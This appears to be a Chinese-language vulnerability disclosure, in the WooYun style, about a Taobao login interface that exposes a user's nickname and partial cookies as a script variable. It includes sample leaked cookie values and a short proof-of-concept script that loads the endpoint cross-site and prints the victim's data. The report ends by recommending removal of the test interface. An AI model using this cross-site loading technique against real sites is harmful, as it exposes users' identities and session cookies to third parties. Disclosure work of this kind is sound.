淘宝官网某处接口泄露用户淘宝ID和部分COOKIE -

淘宝官网某处接口泄露用户淘宝ID和部分COOKIE

# 淘宝官网某处接口泄露用户淘宝ID和部分COOKIE

http://www.taobao.com/go/app/tmall/login-api2.php.php  

var userCookie_2 ={_nk_:'wooyuntest',_l_g_:'Ug==',ck1:'',tracknick:'wooyuntest',mt:'ci=7_1',l:'',uc1:'lltime=1406557058&cookie14=UoW3ucSB7STjwA==&existShop=false&cookie16=W5iHLLyFPlMGbLDwA+dvAGZqLg==&cookie21=URm48syIZQ==&tag=7&cookie15=Vq8l+KCLz3/65A==',version:'2'};

 

<script src="http://www.taobao.com/go/app/tmall/login-api2.php.php"></script> <script> document.writeln('登录名：'); document.writeln(userCookie_2.tracknick); document.writeln('<br> Cookies：'); document.writeln(userCookie_2.uc1); </script>

http://www.80vul.com/src/taobao. html  

 

修复方案：

# 删除不必要的测试接口

查看更多关于淘宝官网某处接口泄露用户淘宝ID和部分COOKIE -的详细内容...